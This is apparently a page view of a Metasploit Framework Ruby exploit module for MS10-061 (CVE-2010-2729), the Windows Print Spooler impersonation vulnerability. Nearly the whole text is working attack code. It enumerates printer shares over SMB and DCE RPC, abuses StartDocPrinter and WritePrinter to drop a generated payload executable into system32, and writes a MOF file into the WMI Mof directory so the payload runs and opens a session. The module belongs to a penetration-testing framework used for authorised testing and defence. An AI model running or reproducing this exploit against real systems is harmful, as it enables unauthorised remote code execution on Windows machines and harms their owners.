Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Exploit::EXE
12
include Msf::Exploit::WbemExec
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',
19
'Description' => %q{
20
This module exploits the RPC service impersonation vulnerability detailed in
21
Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
22
StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
23
to create a file. The working directory at the time is %SystemRoot%\system32.
24
An attacker can specify any file name, including directory traversal or full paths.
25
By sending WritePrinter requests, an attacker can fully control the content of
26
the created file.
27
28
In order to gain code execution, this module writes to a directory used by Windows
29
Management Instrumentation (WMI) to deploy applications. This directory (Wbem\Mof)
30
is periodically scanned and any new .mof files are processed automatically. This is
31
the same technique employed by the Stuxnet code found in the wild.
32
},
33
'Author' => [
34
'jduck', # re-discovery, printer RPC stubs, module
35
'hdm' # ATSVC RPC proxy method, etc ;)
36
],
37
'License' => MSF_LICENSE,
38
'Platform' => 'win',
39
'Notes' => {
40
'AKA' => ['EMERALTHREAD'],
41
'Stability' => [Msf::CRASH_SAFE],
42
'SideEffects' => [Msf::ARTIFACTS_ON_DISK],
43
'Reliability' => []
44
},
45
'References' => [
46
[ 'OSVDB', '67988' ],
47
[ 'CVE', '2010-2729' ],
48
[ 'MSB', 'MS10-061' ],
49
[ 'URL', 'https://www.tenable.com/plugins/nessus/49219']
50
],
51
'Privileged' => true,
52
'Payload' => {
53
'Space' => 1024,
54
'BadChars' => "",
55
'DisableNops' => true,
56
},
57
'Targets' => [
58
[ 'Windows Universal', {} ]
59
],
60
'DisclosureDate' => '2010-09-14',
61
'DefaultTarget' => 0
62
)
63
)
64
65
register_options(
66
[
67
OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]),
68
OptString.new('PNAME', [ false, "The printer share name to use on the target" ]),
69
]
70
)
71
72
deregister_options('SMB::ProtocolVersion')
73
end
74
75
def exploit
76
connect(versions: [1])
77
login_time = Time.now
78
smb_login()
79
80
print_status("Trying target #{target.name}...")
81
82
handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
83
84
print_status("Binding to #{handle} ...")
85
dcerpc_bind(handle)
86
87
print_status("Bound to #{handle} ...")
88
89
# Try all of the printers :)
90
printers = []
91
if (pname = datastore['PNAME'])
92
printers << pname
93
else
94
res = self.simple.client.trans(
95
"\\PIPE\\LANMAN",
96
(
97
[0x00].pack('v') +
98
"WrLeh\x00" +
99
"B13BWz\x00" +
100
[0x01, 65406].pack("vv")
101
)
102
)
103
104
printers = []
105
106
lerror, lconv, lentries, lcount = res['Payload'].to_s[
107
res['Payload'].v['ParamOffset'],
108
res['Payload'].v['ParamCount']
109
].unpack("v4")
110
111
data = res['Payload'].to_s[
112
res['Payload'].v['DataOffset'],
113
res['Payload'].v['DataCount']
114
]
115
116
0.upto(lentries - 1) do |i|
117
sname, tmp = data[(i * 20) + 0, 14].split("\x00")
118
stype = data[(i * 20) + 14, 2].unpack('v')[0]
119
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
120
if (lconv != 0)
121
scoff -= lconv
122
end
123
scomm, tmp = data[scoff, data.length - scoff].split("\x00")
124
125
# we only want printers
126
next if stype != 1
127
128
printers << sname
129
end
130
end
131
132
# Generate a payload EXE to execute
133
exe = generate_payload_exe
134
135
printers.each { |pr|
136
pname = "\\\\#{rhost}\\#{pr}"
137
138
print_status("Attempting to exploit MS10-061 via #{pname} ...")
139
140
# Open the printer
141
status, ph = open_printer_ex(pname)
142
if status != 0
143
fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")
144
end
145
print_status("Printer handle: %s" % ph.unpack('H*'))
146
147
# NOTE: fname can be anything nice to write to (cwd is system32), even
148
# directory traversal and full paths are OK.
149
fname = rand_text_alphanumeric(14) + ".exe"
150
write_file_contents(ph, fname, exe)
151
152
# Generate a MOF file and write it so that the Windows Management Service will
153
# execute our binary ;)
154
mofname = rand_text_alphanumeric(14) + ".mof"
155
mof = generate_mof(mofname, fname)
156
write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)
157
158
# ClosePrinter
159
status, ph = close_printer(ph)
160
if status != 0
161
fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")
162
end
163
164
break if session_created?
165
}
166
167
print_status("Everything should be set, waiting for a session...")
168
handler
169
170
cnt = 1
171
while session_created? == false and cnt < 25
172
::IO.select(nil, nil, nil, 0.25)
173
cnt += 1
174
end
175
176
disconnect
177
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
178
fail_with(Failure::Unknown, $!.message)
179
end
180
181
#
182
# Use the vuln to write a file :)
183
#
184
def write_file_contents(ph, fname, data)
185
doc = rand_text_alphanumeric(16 + rand(16))
186
187
# StartDocPrinter
188
status, jobid = start_doc_printer(ph, doc, fname)
189
if status != 0 or jobid < 0
190
fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")
191
end
192
print_status("Job started: 0x%x" % jobid)
193
194
# WritePrinter
195
status, wrote = write_printer(ph, data)
196
if status != 0 or wrote != data.length
197
fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))
198
end
199
print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
200
201
# EndDocPrinter
202
status = end_doc_printer(ph)
203
if status != 0
204
fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")
205
end
206
end
207
208
#
209
# Call RpcOpenPrinterEx
210
#
211
def open_printer_ex(pname, machine = nil, user = nil)
212
=begin
213
DWORD RpcOpenPrinterEx(
214
[in, string, unique] STRING_HANDLE pPrinterName,
215
[out] PRINTER_HANDLE* pHandle,
216
[in, string, unique] wchar_t* pDatatype,
217
[in] DEVMODE_CONTAINER* pDevModeContainer,
218
[in] DWORD AccessRequired,
219
[in] SPLCLIENT_CONTAINER* pClientInfo
220
);
221
=end
222
223
# NOTE: For more information about this encoding, see the following
224
# sections of the Open Group's C706 DCE 1.1: RPC
225
#
226
# 14.3.8 Unions
227
# 14.3.10 Pointers
228
# 14.3.12.3 Algorithm for Deferral of Referents
229
#
230
machine ||= ''
231
machine = NDR.uwstring(machine)
232
user ||= ''
233
user = NDR.uwstring(user)
234
235
splclient_info =
236
NDR.long(0) + # DWORD dwSize;
237
machine[0, 4] + # [string] wchar_t* pMachineName;
238
user[0, 4] + # [string] wchar_t* pUserName;
239
NDR.long(7600) + # DWORD dwBuildNum
240
NDR.long(3) + # DWORD dwMajorVersion;
241
NDR.long(0) + # DWORD dwMinorVersion;
242
NDR.long(9) # unsigned short wProcessorArchitecture;
243
244
# Add the deferred members
245
splclient_info << machine[4, machine.length]
246
splclient_info << user[4, user.length]
247
248
splclient_info[0, 4] = NDR.long(splclient_info.length)
249
250
splclient_info =
251
# union!
252
NDR.long(1) + # discriminant (inside copy)
253
NDR.long(rand(0xffffffff)) +
254
splclient_info
255
256
stubdata =
257
NDR.uwstring(pname) + # pPrinterName
258
NDR.long(0) +
259
# DEVMODE_CONTAINER (null)
260
NDR.long(0) +
261
NDR.long(0) +
262
# AccessRequired
263
NDR.long(0x02020000) +
264
# SPLCLIENT_CONTAINER
265
NDR.long(1) + # Level (must be 1)
266
# SPLCLIENT_INFO_1
267
splclient_info
268
269
# print_status('Sending OpenPrinterEx request...')
270
response = dcerpc.call(69, stubdata)
271
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
272
# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
273
274
handle = dcerpc.last_response.stub_data[0, 20]
275
status = dcerpc.last_response.stub_data[20, 4].unpack('V').first
276
277
return [status, handle]
278
end
279
280
nil
281
end
282
283
#
284
# Call RpcStartDocPrinter
285
#
286
def start_doc_printer(handle, dname, fname, dtype = nil)
287
=begin
288
typedef struct _DOC_INFO_CONTAINER {
289
DWORD Level;
290
[switch_is(Level)] union {
291
[case(1)]
292
DOC_INFO_1* pDocInfo1;
293
} DocInfo;
294
} DOC_INFO_CONTAINER;
295
DWORD RpcStartDocPrinter(
296
[in] PRINTER_HANDLE hPrinter,
297
[in] DOC_INFO_CONTAINER* pDocInfoContainer,
298
[out] DWORD* pJobId
299
);
300
=end
301
dname = NDR.uwstring(dname)
302
if fname
303
fname = NDR.uwstring(fname)
304
else
305
fname = NDR.long(0)
306
end
307
if dtype
308
dtype = NDR.uwstring(dtype)
309
else
310
dtype = NDR.long(0)
311
end
312
313
doc_info =
314
dname[0, 4] +
315
fname[0, 4] +
316
dtype[0, 4]
317
318
# Add the deferred members
319
doc_info << dname[4, dname.length]
320
doc_info << fname[4, fname.length]
321
doc_info << dtype[4, dtype.length]
322
323
doc_info =
324
# Union!
325
NDR.long(1) +
326
NDR.long(rand(0xffffffff)) +
327
doc_info
328
329
stubdata =
330
handle +
331
NDR.long(1) +
332
doc_info
333
334
# print_status('Sending StartDocPrinter request...')
335
response = dcerpc.call(17, stubdata)
336
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
337
# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
338
jobid, status = dcerpc.last_response.stub_data.unpack('VV')
339
return [status, jobid]
340
end
341
342
nil
343
end
344
345
#
346
# Call RpcWritePrinter
347
#
348
def write_printer(handle, data)
349
=begin
350
DWORD RpcWritePrinter(
351
[in] PRINTER_HANDLE hPrinter,
352
[in, size_is(cbBuf)] BYTE* pBuf,
353
[in] DWORD cbBuf,
354
[out] DWORD* pcWritten
355
);
356
=end
357
stubdata =
358
handle +
359
NDR.long(data.length) +
360
# Perhaps we need a better data type for BYTE* :)
361
data +
362
NDR.align(data) +
363
NDR.long(data.length)
364
365
# print_status('Sending WritePrinter request...')
366
response = dcerpc.call(19, stubdata)
367
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
368
# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
369
wrote, status = dcerpc.last_response.stub_data.unpack('VV')
370
return [status, wrote]
371
end
372
373
nil
374
end
375
376
#
377
# Call RpcEndDocPrinter
378
#
379
def end_doc_printer(handle)
380
=begin
381
DWORD RpcEndDocPrinter(
382
[in] PRINTER_HANDLE* phPrinter
383
);
384
=end
385
386
# print_status('Sending EndDocPrinter request...')
387
response = dcerpc.call(23, handle)
388
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
389
# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
390
status = dcerpc.last_response.stub_data[0, 4].unpack('V').first
391
return status
392
end
393
394
nil
395
end
396
397
#
398
# Call RpcClosePrinter
399
#
400
def close_printer(handle)
401
=begin
402
DWORD RpcClosePrinter(
403
[in, out] PRINTER_HANDLE* phPrinter
404
);
405
=end
406
407
# print_status('Sending ClosePrinter request...')
408
response = dcerpc.call(29, handle)
409
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
410
# print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
411
handle = dcerpc.last_response.stub_data[0, 20]
412
status = dcerpc.last_response.stub_data[20, 4].unpack('V').first
413
return [status, handle]
414
end
415
416
nil
417
end
418
419
def seconds_since_midnight(time)
420
# .tv_sec always uses .utc
421
(time.tv_sec % 86400)
422
423
# This method uses the localtime
424
# (time.hour * 3600) + (time.min * 60) + (time.sec)
425
end
426
427
# We have to wait a bit longer since the WMI service is a bit slow..
428
def wfs_delay
429
10
430
end
431
end
432
433